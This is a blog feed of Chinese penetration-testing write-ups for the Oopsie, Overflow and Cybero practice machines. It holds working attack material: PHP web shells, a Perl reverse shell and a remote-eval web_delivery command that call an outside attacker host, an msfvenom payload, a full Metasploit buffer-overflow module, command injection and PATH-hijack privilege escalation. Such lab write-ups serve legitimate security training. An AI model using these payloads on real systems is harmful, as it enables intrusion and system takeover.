渗透笔记 – 若水斋 https://blog.werner.wiki Try harder Sat, 20 Jun 2020 12:52:12 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 渗透笔记 – 若水斋 https://blog.werner.wiki 32 32 渗透笔记之Oopsie https://blog.werner.wiki/penetrate-oopsie/ https://blog.werner.wiki/penetrate-oopsie/#respond Wed, 10 Jun 2020 12:31:56 +0000 https://blog.werner.wiki/?p=1534 背景

Oopsie 是 Hack The Box 的一台非常简单的入门级靶机。IP 地址是 10.10.10.28,使用 OpenVPƝ 连接靶场网络后便可访问。本文较为完整地记录了对其进行渗透的全过程。

信息收集

端口扫描

使用 Nmap 对靶机进行 TCP 端口扫描:

nmap -sV 10.10.10.28

扫描结果如下图所示,看到靶机开放了 22 和 80 端口。一般来说 22 端口的 OpenSSH 很少会有问题,80 端口的 Web 服务很值得仔细查看。

nmap扫描结果

Web 探测

在浏览器中访问 http://10.10.10.28,看到如下图所示的网页。

网站首页

在网页下方看到联系信息和公司名 MegaCorp,如下图所示。

网页中的联系方式

Hack The Box 的第一台靶机 Archetype 的管理员密码是 MEGACORP_4dm1n!!,看上去像是 MegaCorp admin 的变形,说不定有联系。

再没有发现其他可疑信息。按惯例查看网页源码,看到 <script src="/cdn-cgi/login/script.js"></script>,如下图所示。

网站源码泄露后台地址

看上去 /cdn-cgi/login/ 像是一个登录页面,在浏览器中访问看到如下图所示的网页。

登录页面

尝试用 adminMEGACORP_4dm1n!! 登录,居然就成功了。登录后看到有一个页面显示了当前登录的用户,如下图所示。

登录后的页面

还有一个 Uploads 页面,但点击发现需要 super admin 权限,如下图所示。

上传需要更高的权限

按惯例使用 gobuster 对 Web 路径进行扫描:

gobuster dir --url http://10.10.10.28/ --wordlist /usr/share/wordlist/dirb/big.txt

扫描结果如下图所示。

Web路径扫描结果

看到扫出了 uploads 目录,但访问发现返回了 Forbidden,如下图所示。

uploads页面返回Forbidden

漏洞利用

越权

出于习惯查看 Cookie,看到的 Cookie 如下图所示。

Cookie

看到有一个键为 role 的 Cookie,值是 admin,有一个键为 user 的 Cookie,值是 34322,再没有其他 Cookie,这意味着只要知道其他用户的 roleuser,便可以以其他用户的身份登录。而 34322 这个数字曾出现在显示当前登录用户的页面中,是 Access ID。回到这个页面,观察到它的 URL:

http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

其中有很可疑的参数 id=1,试着把 id 改为 2,发现没有报错,但也没有显示任何用户,如下图所示。

用户id为2时的显示

不要轻易放弃,继续尝试,把 id 改为 3,结果和上图一样。把 id 改为 4,出现了一个新的用户,如下图所示。

用户id为4时的显示

但这不是我们想要的 super admin,继续修改 id,依次尝试5、6、7、…….,直到把 id 改为 30,终于看到了 super admin,如下图所示。

用户id为30时的显示

现在我们知道了 super adminAccess ID86575 了 。修改 Cookie,把 role 改成 super admin,把 user 改成 86575,并刷新页面,现在可以打开 Uploads 页面了,如下图所示。

上传页面

上传

准备文件 shell.php,内容为:

<?php echo shell_exec($_GET['shell']);?>

然后上传,居然就成功了,都没有对 php 文件的过滤。但上传到哪里去了呢?结合 Web 路径扫描结果,猜测上传到了 /uploads/shell.php,尝试访问 http://10.10.10.28/uploads/shell.php?shell=id,看到 id 命令被成功执行,如下图所示,说明这个猜测是正确的。

上传页面

然后用 nc -nvlp 4444 监听 4444 端口,并在浏览器中访问:

http://10.10.10.28/uploads/shell.php?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.14.33:4444%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27

成功建立了反弹 shell,如下图所示。

成功建立反弹shell

但权限很低,是 www-data ,需要提权。

提权

提升 Shell

拿到的反弹 Shell 是非交互式的,为便于操作,下载 socat,并使用 socat 发起新的反弹 Shell 到 3333 端口,操作如下图所示。

提升Shell

使用 nc 监听 3333 端口,成功获得交互式 Shell,如下图所示。

获得交互式Shell

提权到普通用户

在上面的步骤中,我们修改 id 为不同的值获得了不同的返回结果,很明显网站是连接了数据库的。在 /var/www/html/cdn-cgi/login 下看到有文件 db.php,查看其内容意外地收获了一对用户名和密码 :robert: M3g4C0rpUs3r!,如下图所示。

数据库密码

用户名是 robert,不是常见的 root,值得注意。用 ls /home 查看系统用户发现恰好有一个名为 robert 的 Linux 用户。用 su 命令并输入密码便可以切换为 robert 用户,如下图所示。

成功提权到普通用户

提权到 root

ls -lh $(find / -perm -u=s -type f 2>/dev/null) 查看具有 SUID 的可执行文件,看到了一个奇怪的程序:

-rwsr-xr-- 1 root   bugtracker      8.6K Jan 25 10:14 /usr/bin/bugtracker

如下图所示。

bugtracker

这个程序得是 root 或是 bugtracker 组的用户才能执行。用 cat /etc/group | grep bugtracker 查看 bugtracker 组的用户,看到 robert 恰好在其中,如下图所示。

bugtracker组成员

执行 bugtracker,提示用户输入 Provide Bug ID,我们随便输入 123 试试,根据错误信息可以判断出这个程序内部调用了 cat,如下图所示。

bugtracker执行结果

再次执行 bugtracker,输入 123;/bin/bash 做为 Provide Bug ID,成功获得了具有 root 权限的 Shell,如下图所示。

获得root权限

信息收集

看看 root 用户都有些啥。执行命令:

ls -lRa /root

发现了一个挺有意思的文件,是 /root/.config/filezilla/filezilla.xml。如下图所示。

挺有意思的文件

内容是:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<FileZilla3>
    <RecentServers>
        <Server>
            <Host>10.10.10.44</Host>
            <Port>21</Port>
            <Protocol>0</Protocol>
            <Type>0</Type>
            <User>ftpuser</User>
            <Pass>mc@F1l3ZilL4</Pass>
            <Logontype>1</Logontype>
            <TimezoneOffset>0</TimezoneOffset>
            <PasvMode>MODE_DEFAULT</PasvMode>
            <MaximumMultipleConnections>0</MaximumMultipleConnections>
            <EncodingType>Auto</EncodingType>
            <BypassProxy>0</BypassProxy>
        </Server>
    </RecentServers>
</FileZilla3>

从中可以看到一个 FTP 账号:ftpuser: mc@F1l3ZilL4。以后也许用得着。

总结

这台靶机真的非常简单,渗透所用时间和写这篇文章差不多。

拿到 OSCP 认证后我便疏于练习,一转眼半年多过去了,不禁又要感慨逝者如斯夫不舍昼夜。为防止技艺生疏,我决定在业余时间继续渗透靶机。这也是我的娱乐方式之一。

]]>
https://blog.werner.wiki/penetrate-oopsie/feed/ 0
密码保护:渗透笔记之djinn https://blog.werner.wiki/penetrate-djinn/ https://blog.werner.wiki/penetrate-djinn/#respond Tue, 24 Dec 2019 01:14:58 +0000 https://blog.werner.wiki/?p=990

此内容受密码保护。如需查看请在下方输入访问密码:

]]>
https://blog.werner.wiki/penetrate-djinn/feed/ 0
渗透笔记之Overflow https://blog.werner.wiki/penetrate-overflow/ https://blog.werner.wiki/penetrate-overflow/#respond Tue, 30 Jul 2019 14:08:01 +0000 https://blog.werner.wiki/?p=765

首发于“安全客”,赚点稿费。

背景

Overflow是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VirtualBox中打开(不建议使用VMware)。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为简单,需要攻击者具备逆向和缓冲区溢出的基本知识。

准备环境

首先下载靶机镜像,得到文件Overflow.ova,大小为493M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,确定靶机IP地址为:192.168.1.174。

信息收集

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -sV -p- -Pn -n 192.168.1.174

扫描结果如下图所示,看到靶机开放了80端口和1337端口。

nmap扫描结果

Web探测

访问http://192.168.1.174:80/,看到如下图所示的页面,有一个下载vulnserver的链接。

Web页面

出于习惯,查看页面源码,如下所示,没有什么收获。

<html>
Dirbuster is not needed. Here is the file : <a href="vulnserver" download>vulnserver</a>
</html>

虽然网页中写到“Dirbuster is not needed.”,但还是尝试了一下目录爆破,果然没有发现什么特别的目录。到目前为止,唯一的收获是vulnserver,把它下载下来。

vulnserver研究

功能研究

下载vulnserver后首先使用file命令查看文件类型:

file vulnserver

命令输出如下图所示,可以看出这是一个32位的ELF可执行文件。

file命令输出

给它可执行权限,并且执行它,看到它在监听1337端口,如下图所示。

vulnserver运行截图

用Telnet去连接它,并进行交互,结果如下图所示。

vulnserver交互截图

容易验证,靶机中监听1337端口的为同一程序。看来这个程序应该有可以远程利用的缓冲区溢出漏洞,现在的任务是找出这个漏洞并利用它。

静态分析

先用checksec看看防护情况:

checksec --file=vulnserver

如下图所示,看到什么防护都没有开启,最好不过了。

checksec结果

用IDA pro打开vulnserver,用F5逆向出main函数的C代码,这里只给出最关键的部分:

  /*
   * 省略绑定端口,进行监听的代码
   */
  while ( 1 )
  {
    v12 = accept(fd, &addr, &addr_len);
    if ( v12 < 0 )
      break;
    v3 = ntohs(*(uint16_t *)addr.sa_data);
    v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
    printf("Connection accepted from %s:%d\n", v4, v3);
    v11 = fork();    // 注意这里开启了新进程
    if ( !v11 )
    {
      write(v12, "COMMAND : ", 0xAu);
      recv(v12, &buf, 0x400u, 0);    // 接收客户端发来的数据
      if ( !strncmp("OVERFLOW ", &buf, 9u) )    // 只比较前9个字符是否相等
      {
        handleCommand(&buf);    // 调用了函数handleCommand
        write(v12, "COMMAND DONE\n", 0xDu);
      }
      else
      {
        write(v12, "TRY HARDER!\n", 0xCu);
      }
    }
  }
  /*
   * 省略接下来的代码
   */

继续F5逆向handleCommand函数,结果如下所示:

// Start address is 0x08049262
char *__cdecl handleCommand(char *src)
{
  char dest; // [esp+0h] [ebp-28h]
  return strcpy(&dest, src);
}

调用了strcpy,显然handleCommand是有栈溢出漏洞的。

动态调试

刚开始调试时,将断点下在handleCommand函数开始处(0x08049262),不能成功中断,而是收到sigchld信号,调试失败。查阅资料后得知这是由于多进程的原因。

后来采取的调试方法是先运行vulnserver,然后用Telnet建立与vulnserver的连接,此时子进程已经生成,接着打开edb,使用Attach功能调试vulnserver的子进程(进程ID大的那个),如下图所示。

Attache子进程

Attach后,将断点下在0x08049262,然后再输入COMMAND为“OVERFLOW 123456789”,如下图所示。

COMMAND为“OVERFLOW 123456789”

此时在edb中程序成功中断,如下图所示。

成功中断

单步运行至ret指令处,注意观察栈内数据,看到我们输入到“OVERFLOW 123456789”距离返回地址还有11行,也就是4×11=44个字符,如下图所示。

handleCommand ret

编写攻击代码

漏洞发掘完毕,接下来需要编写攻击代码。首先找跳板jmp esp(FF E4),使用edb的BinarySearcher插件,成功地找到了唯一的跳板,位于0x0804929a,如下图所示。

BinarySearcher结果

有了跳板,就可以编写攻击代码了。写了一个Metasploit的exploit模块,代码如下所示:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnserver Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
      },
      'Author'         => 'Werner <me[at]werner.wiki>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
        ],
      'Platform'       => %w{ linux },
      'Targets'        =>
        [
          [
            'Vulnserver',
            {
              'Platform' => 'linux',
              'Ret'      => 0x0804929a,
              'Offset'   => 44 - 9
            }
          ],
        ],
      'Payload'        =>
        {
          'BadChars'    => '\x0a\x0d\x00\xff'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 22 2019'))

    # Configure the default port to be 9080
    register_options(
      [
        Opt::RPORT(1337),
      ])
  end


  def exploit
    print_status("Connecting to target for exploitation.")
    connect
    print_good("Connection established successfully.")
    recv_buf = sock.get_once
    print_status("Received data: #{recv_buf}")
    buf = make_nops(target['Offset'])
    buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    print_status("Sending exploit packet.")
    sock.put(buf)
    handler
    disconnect
  end
end

将上述代码保存到文件vulnserver.rb中,然后将这个文件放在/usr/share/metasploit-framework/modules/exploits/linux/misc/中。

需要特别说明,我使用的Metasploit版本为5.0.27-dev。

完成上述工作后打开msfconsole,输入命令reload_all重载所有模块,看看有没有报错,如果没有报错,exploits的数量应该多了1,这说明模块vulnserver载入成功。

漏洞利用

当然先在本地进行测试,发现攻击代码是可用的。然后进行实际的攻击,进入msfconsole后使用我们刚刚编写的攻击模块vulnserver,设置payload为linux/x86/meterpreter/reverse_tcp,设置rhosts为靶机IP,设置lhost为Kali的IP地址。具体的命令如下:

msf5 > use exploit/linux/misc/vulnserver
msf5 exploit(linux/misc/vulnserver) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/misc/vulnserver) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(linux/misc/vulnserver) > set lhost 192.168.1.200
lhost => 192.168.1.200

设置完成后使用show options命令查看所有设置,如下图所示,检查下确定没有问题。

查看所有设置

之后输入exploit开始攻击,但失败了。没有关系,多尝试几次,就会有一次成功获得meterpreter shell,如下图所示。

成功获得meterpreter shell

探索

首先查看文件,找到了一个flag:user.txt,如下图所示。

user.txt

查看权限发现果然是普通用户,不是root。考虑提权,先搜索有suid标志的文件:

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

结果如下图,值得注意的是一个叫做printauthlog的程序。

suid

考虑到后续可能依旧要使用溢出漏洞来提权,所以看看是否开启了地址随机化,发现是开启的,如下图所示。

aslr

不管这些,先把printauthlog下载下来再说。

printauthlog研究

功能研究

用file命令可以看出printauthlog也是一个32位的ELF可执行程序。同样先运行一下,发现是要输入一个密码。如下图和下下图所示。

printauthlog1

printauthlog2

静态分析

先用checksec看看防护情况:

checksec --file=printauthlog

如下图所示,看到开启了NX(不可执行),有点麻烦,直接jmp esp是不行了。

checksec结果

然后用IDA pro逆向,main函数比较短,直接给出全文:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[4]; // [esp+0h] [ebp-7Ch]
  char v5; // [esp+1Ch] [ebp-60h]
  int *v6; // [esp+6Ch] [ebp-10h]

  v6 = &argc;
  strcpy(command, "/bin/cat /var/log/auth.log");
  memset(&v5, 0, 0x48u);
  if ( argc == 2 )
  {
    if ( checkPassword((char *)argv[1]) )
      puts("Wrong password");
    else
      shell(command);
  }
  else
  {
    printf("Usage: %s password\n", *argv);
  }
  return 0;
}

关键点显然在函数checkPassword,继续逆向出checkPassword的C代码,如下:

// Start address is 0x80491C9
int __cdecl checkPassword(char *src)
{
  char s1[4]; // [esp+Fh] [ebp-49h]
  char dest; // [esp+18h] [ebp-40h]

  strcpy(s1, "deadbeef");
  strcpy(&dest, src);
  return strncmp(s1, &dest, 9u);
}

又看到了strcpy,显然checkPassword也是有栈溢出漏洞的。

至于shell函数,其C代码为:

int __cdecl shell(char *command)
{
  return system(command);
}

看到在shell函数中调用了system。

现在我们已经知道密码是deadbeef,试了下果然是正确的密码,如下图所示。但这对权限提升是没有帮助的。

密码正确

动态调试

作为一个单进程程序,调试起来简单一点点。但这个程序需要一个命令行参数,所以用edb调试需要用如下的命令打开:

edb --run ./printauthlog 123456

将程序停在checkPassword函数的ret指令处,如下图所示。

checkPassword ret

数一数可以知道输入的123456距离返回地址有17行,即17×4=68个字符。但由于开启了NX,所以直接将返回地址覆盖为jmp esp是不行的,实际上由于这个程序过于简单,也找不到jmp esp。

编写攻击代码

该如何利用这个漏洞呢?似乎只能用ROP了。但实际上不用那么复杂,因为我们注意到这个程序调用了system(函数shell中),我们只要准备好适当的参数,也调用system就好了。

第一个问题,确定system@plt的地址。这使用objdump来完成:

objdump -d -j .plt printauthlog

部分输出如下:

08049060 <system@plt>:
 8049060:   ff 25 18 c0 04 08       jmp    *0x804c018
 8049066:   68 18 00 00 00          push   $0x18
 804906b:   e9 b0 ff ff ff          jmp    8049020 <.plt>

第二个问题,如何准备system的参数。这个问题有点麻烦,因为32位程序的参数是通过栈传递的,而system的参数是字符串指针。如下图所示是正常调用system@plt开始时的栈中数据情况,可以看到system的参数0xffd8462c是指向字符串的指针,而不是字符串本身。虽然可以将栈中数据覆盖为任意值,但由于地址的动态特性,我不知道有什么办法在构造shellcode时可以确定栈中字符串地址。

正常调用system

因为这个问题迟迟没能解决,我几乎要放弃了。但正要放弃时,忽然想到了另一个靶机HackInOS中通过命令劫持的方式实现了提权。那台靶机中有suid标志的可执行文件的C代码为:

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

通过劫持whoami命令,将whoami替换为“/bin/bash -p”成功提权。

回到面临的问题,其实我不需要把自己构造的字符串做为system的参数,几乎任意的字符串都可以做为system的参数,只要它是固定的(内容和地址都固定),不以“/”开头(以“/”开头没法劫持)。这样的字符串还是有很多的,比如“Wrong password”。

首先确定“Wrong password”的地址,依旧使用BinarySearcher,找到其地址为0x0804a008,如下图所示。

字符串地址

然后就可以构造shellcode了,从前往后(栈中从上往下)依次是:

17*4 字节的填充
0x08049060:system@plt的地址
0x080491C0:一个实际上不会用到的返回地址,单纯占位
0x0804A008:“Wrong password”的地址,system的参数

由于printauthlog接收的是命令行参数,所以需要借助perl来输入“\x08”这样的特殊字符(靶机中没有Python)。实际执行如下的命令完成攻击:

./printauthlog $(perl -e 'print "A"x(17*4)."\x60\x90\x04\x08"."\xc0\x91\x04\x08"."\x08\xa0\x04\x08"')

但现在执行上述命令还不能成功,因为我们还没有劫持“Wrong”命令。

实施攻击

首先从meterpreter shell进入到bash shell中,然后看看当前目录,发现是/home/user,如下图。

pwd

然后建立一个名为Wrong的文件,内容为“/bin/bash -p”,并给它可执行权限,如下图。

Wrong

接着在PATH中添加/home/user,如下所示。

PATH="$PATH:/home/user"

PATH

此时已完成对“Wrong”命令的劫持。最后运行攻击命令,获得一个有root权限的bash shell,如下图。

EXPLOIT!

有了root权限,很容易就找到了root的flag,如下图。

root flag

flag是:

dfd0ac5a9cb9220d0d34322878d9cd7b

当然由于shellcode过于简单,只要一退出root shell,程序就崩溃了,如下图。

Segmentation fault

总结

虽然就缓冲区溢出而言,这个靶机的难度只能算简单,但我对这方面知识的了解仅限于阅读过《0day安全:软件漏洞分析技术(第二版)》,而且还是三年前的事情了,所以对我来说还是有相当的挑战的,成功拿到root权限后,带来的成就感也是前所未有的。

在渗透的过程中,果然不能轻言放弃,而是要尝试所有的可能性。同时我也感受到了二进制的魅力——内存海洋的苦苦寻觅,不拘一格的漏洞利用。

做的不好的地方在于没有过多的思考就直接执行了从靶机中下载的可执行文件,应该准备一个专用的沙盒的。

参考

]]>
https://blog.werner.wiki/penetrate-overflow/feed/ 0
渗透笔记之Cybero https://blog.werner.wiki/penetrate-cybero/ https://blog.werner.wiki/penetrate-cybero/#comments Mon, 24 Jun 2019 10:59:34 +0000 https://blog.werner.wiki/?p=698 背景

Cybero是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为中等,具有浓厚的CTF风格。

准备环境

首先下载靶机镜像,得到文件Cybero.ova,大小为690M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,结果如下图所示。

netdiscover

注意到IP地址192.168.1.5的MAC地址以“08:00:27”开头,是VirtualBox的虚拟网卡,从而确定这就是我们要渗透的目标。

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -A -p- 192.168.1.5

nmap命令输出

发现开放了四个端口:

  • 21: FTP
  • 22: SSH
  • 80: HTTP
  • 8085: HTTP

探索HTTP(80)

在浏览器中访问http://192.168.1.5/,看到如下图所示的页面。

80端口页面

查看网页源码没有发现可疑注释,用exif和binwalk命令初步确定图片中没有隐藏额外信息。

用dirb扫描Web目录,命令如下:

dirb http://192.168.1.5/

dirb命令输出

成功地找到了一个目录“userapp”。在浏览器中访问http://192.168.1.5/userapp/,看到如下图所示的页面。

userapp页面

只有一个文件users.sql,下载后查看其内容,发现唯一的有效数据是:

INSERT INTO `users` (`id`, `name`, `surname`, `phone`, `social_media`) VALUES
(1, 'Roxanna', 'Basley', '612-963-4457', '00110110 00111000 00110111 00110100 00110111 00110100 00110111 00110000 00110111 00110011 00110011 01100001 00110010 01100110 00110010 01100110 00110111 00110111 00110111 00110111 00110111 00110111 00110010 01100101 00110110 00111001 00110110 01100101 00110111 00110011 00110111 00110100 00110110 00110001 00110110 00110111 00110111 00110010 00110110 00110001 00110110 01100100 00110010 01100101 00110110 00110011 00110110 01100110 00110110 01100100 00110010 01100110 00110111 00110010 00110110 01100110 00110111 00111000 00110110 00110001 00110110 01100101 00110110 01100101 00110110 00110101 00110110 00110010 00110110 00110001 00110111 00110011 00110110 01100011 00110110 00110101 00110111 00111001 00110010 01100110 ');

其中有用户名、电话等信息,值得注意地是social_media的值被编码过。“00110110 00111000 ……”每个都以0开头,且长度为8位,显然是ASCII码的二进制形式。按ASCII解码后得到长度为80的字符串:

68747470733a2f2f7777772e696e7374616772616d2e636f6d2f726f78616e6e656261736c65792f

观察上述字符串,发现每个字符均为有效的16进制字符。而68是字符h的16进制ASCII码,74是字符t的16进制ASCII码。故两两组合上述字符串,再次按ASCII解码,得到40个字符:

https://www.instagram.com/roxannebasley/

是一个链接,打开看到如下所示的页面。

instagram页面

得到一个Flag:{FLAGCybero50}。

附:解密使用的Python脚本如下:

o = '00110110 00111000 00110111 00110100 00110111 00110100 00110111 00110000 00110111 00110011 00110011 01100001 00110010 01100110 00110010 01100110 00110111 00110111 00110111 00110111 00110111 00110111 00110010 01100101 00110110 00111001 00110110 01100101 00110111 00110011 00110111 00110100 00110110 00110001 00110110 00110111 00110111 00110010 00110110 00110001 00110110 01100100 00110010 01100101 00110110 00110011 00110110 01100110 00110110 01100100 00110010 01100110 00110111 00110010 00110110 01100110 00110111 00111000 00110110 00110001 00110110 01100101 00110110 01100101 00110110 00110101 00110110 00110010 00110110 00110001 00110111 00110011 00110110 01100011 00110110 00110101 00110111 00111001 00110010 01100110'

output = str()
cache = str()
for i in o.split(' '):
    cache += chr(int(i, 2))
    if len(cache) == 2:
        output += chr(int(cache, 16))
        cache = str()

print('The length is {}'.format(len(output)))
print('The string is {}'.format(output))

运行此脚本的输出如下图所示。

解码脚本输出

探索HTTP(8085)

在浏览器中访问http://192.168.1.5:8085/,看到如下图所示的页面。

8085端口页面

查看网页源码,看到POST参数的名字是“command”,似乎在暗示是一个命令注入。

<form method="POST">

<input type="text" name="command"><br><br><br>
<input type="submit" value="Call me">

</form>

查看图片是否隐藏信息、扫描目录等都没有收获,只好从输入框突破。

首先尝试了SQL注入,发现没有SQL注入漏洞,只好从提示找线索。提示说要给Google打电话,而刚刚在users.sql中获得了一个电话号“612-963-4457”,输入它后点击“Call me”,返回页面提示“Only call”,这说明输入的内容不正确。输入“call”,依旧返回“Only call”。搜索谷歌的电话号码,输入后依旧返回“Only call”。后来想到call不一定是打电话,或是和电话号码有关,可能只是一种比喻。最后从“Only 3 times”想到了ping命令,因为ping命令可以指定ping的次数。多番尝试之后终于发现输入“ping -c 3 google.com”返回结果不是“Only call”,而是ping命令的输出,如下图所示。

ping google

但“Last line of the output:”为空,似乎缺点什么。先不管了,尝试命令注入。又经过多番尝试,终于发现输入“ping -c 3 google.com;whoami”会返回我们想要的结果,如下图所示。

ping google;whoami

得到另一个Flag:{FLAGCybero10PT},并且拿到了下一关的地址。

文件上传

点击“Follow me”,打开的页面如下图所示,是一个文件上传。

文件上传

根据提示,需要上传一个php文件。先用msfvenom做一个php格式的Meterpreter木马,连接方式为TCP反弹连接,命令如下:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f raw -o rt.php

msfvenom命令输出

然后尝试上传rt.php,果然失败了,错误提示是:

Upload a valid image file - .Sorry, your file was not uploaded.

尝试上传一张正常的png图片,竟然也失败了。尝试上传一张正常的jpg图片,终于成功了,但返回结果里没有上传成功后的文件路径。简单测试后发现上传后的文件保存在“/darkroomforyou/uploads/”中,并且没有重命名,如下图所示。

上传后的文件

又尝试上传了一些文件,有些成功,有些失败,总结如下:

  • 上传一张正常的png图片logo.png:失败
  • 上传一张正常的jpg图片google.jpg:成功
  • 上传rt.php:失败
  • 将rt.php重命名为rt.jpg并上传:成功
  • 上传rt.php,但用Burp Suite把请求包中的Content-Type改为image/jpeg:失败

这些测试表明服务器端只是简单地校验了上传文件的后缀名是否在白名单中。

端口扫描已经确定了服务器是“Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)”,并没有可以利用的解析漏洞。这样看来是不可能上传php文件的,除非php文件后缀在白名单中。

先确定一下哪些后缀在白名单中。在Linux中,文件类型和后缀在文件“/etc/mime.types”中定义,把这个文件中的后缀提取到一个文件中,一行一个。然后用Burp Suite爆破文件后缀,如下图所示。

设置文件后缀为变量

爆破结果如下图所示。

后缀爆破结果

从图中可以看到白名单中的后缀有:jpeg、jpg、gif和phtml。且后缀为phtml时,返回结果为:

The file a.phtml has been uploaded.{FLAGCybero25}           <a href="/darkroomforyou/agent.php">Follow me :)</a>

先不follow它,看看上传的结果,发现“/darkroomforyou/uploads/”中的所有文件都被清空了,果然是CTF的玩法。只好follow它。

Agnet

follow它,打开/darkroomforyou/agent.php,看到如下图所示的页面。

AGENT 007

Agent既有“特工”,又有“代理”的意思。CTF中修改User-Agent的题目数不胜数,所以尝试把User-Agent修改为“007”,再次提交,看到如下图所示的页面。

USER-AGENT 007

看到页面中多了Flag:{FLAGCybero35},还多了一个“Follow me:)”,其网页源码为:

{FLAGCybero35}<center><a href="/darkroomforyou/agent.php?page=hello.php">Follow me :)</a>

看到新的链接还是原来的路径,只是添加了GET参数“page=hello.php”,怎么看怎么像文件包含。尝试访问:/darkroomforyou/agent.php?page=../../../../../../../etc/passwd,成功地包含出/etc/passwd文件的内容,如下图所示。

包含出敏感文件

发现一个Flag:{FLAGCybero44},还发现两个用户cybero和hemid。尝试包含出/etc/shadow文件,但失败了,应该是没有权限。

获取Webshell

现在我们有一个文件包含漏洞和一个上传点,足够获取Webshell了。

首先把制作好的php木马rt.php重命名为rt.jpg,然后上传,上传成功后路径为:/darkroomforyou/uploads/rt.jpg,如下图所示。

rt.jpg

接着在Metasploit中设置监听,然后访问/darkroomforyou/agent.php?page=uploads/rt.jpg以执行php木马。

但不知什么原因,反弹连接建立后就会立马中断,多次尝试都没有成功。

重新准备一个简单些的后门,创建文件cmd.jpg,内容如下:

<?php system($_GET['cmd']); ?>

上传后访问/agent.php?page=uploads/cmd.jpg&cmd=ifconfig试试效果,发现是成功的,网页中出现了ifconfig命令的输出,如下图所示。

ifconfig命令被执行

用Metasploit的web_delivery模块来建立Meterpreter Session连接。首先设置好荷载和参数,然后运行此模块,根据提示需要执行:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.200:8080/GadWC4tEj4T'));"

所以访问/darkroomforyou/agent.php?page=uploads/cmd.jpg&cmd=php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://192.168.1.200:8080/GadWC4tEj4T%27));%22

成功地创建了Meterpreter Session连接,如下图所示。

web_delivery

连接建立后首先读取当前用户信息,发现是apache,果然不是root。一番探索之后在/var/ftp中发现了文件cybero.txt,如下图所示:

cybero.txt

获得了Flag:{FLAGCybero10}和一个密码“hemid123”。尝试用这个密码以cybero用户登录ssh,发现密码错误,以hemid用户登录,登录成功,如下图所示。

ssh登录

提权

以hemid的身份登录靶机后发现没有root权限,需要提取。

在hemid家目录中看到文件17932,内容如下图所示:

polkit-pwnage.c

是个提权的Exploit。所以这是自带提权???

尝试编译运行这个Exploit,发现是不行的。结果如下图所示。

提权失败

之后又尝试了SUDO提权和SUID提权,都失败了。最后在/tmp目录中看到文件endofthegame.py,hemid用户可以修改这个文件的内容,如下图所示。

endofthegame.py

我们知道提权是这个渗透测试游戏的最后一关,若提权成功,则游戏结束,所以推测提权就靠这个文件了。联系Vulnhub中另一个靶机Wakanda的“提权”方式,推测有一个定时任务会定期执行endofthegame.py。所以修改其内容为:

#!/usr/env python
import subprocess
subprocess.call(["rm", "log.yum"])

import os
os.system("cp /bin/bash /tmp/bash")
os.system("chmod 6775 /tmp/bash")

静静等待几分钟后,惊喜地发现在/tmp目录中出现了bash文件,且设置了SUID,如下图所示:

/tmp/bash

运行:

/tmp/bash -p

提权成功,如下图所示。

提权成功

总结

这个靶机前后花了我一周的时间,主要是有些关卡脑洞太大,想了很久,尝试了许多错误的方法,最终才解出来。

]]>
https://blog.werner.wiki/penetrate-cybero/feed/ 1
渗透笔记之unknowndevice64_V2 https://blog.werner.wiki/penetrate-unknowndevice64-2/ https://blog.werner.wiki/penetrate-unknowndevice64-2/#respond Tue, 11 Jun 2019 14:20:00 +0000 https://blog.werner.wiki/?p=690 背景

上次玩了unknowndevice64,后来听说还有V2版本,于是也下载下来玩玩。

本文较为完整地记录了我对其进行渗透的全过程。该靶机较为简单,但由于我误入歧途,所以还是花了几天时间才完成从boot到root。

准备环境

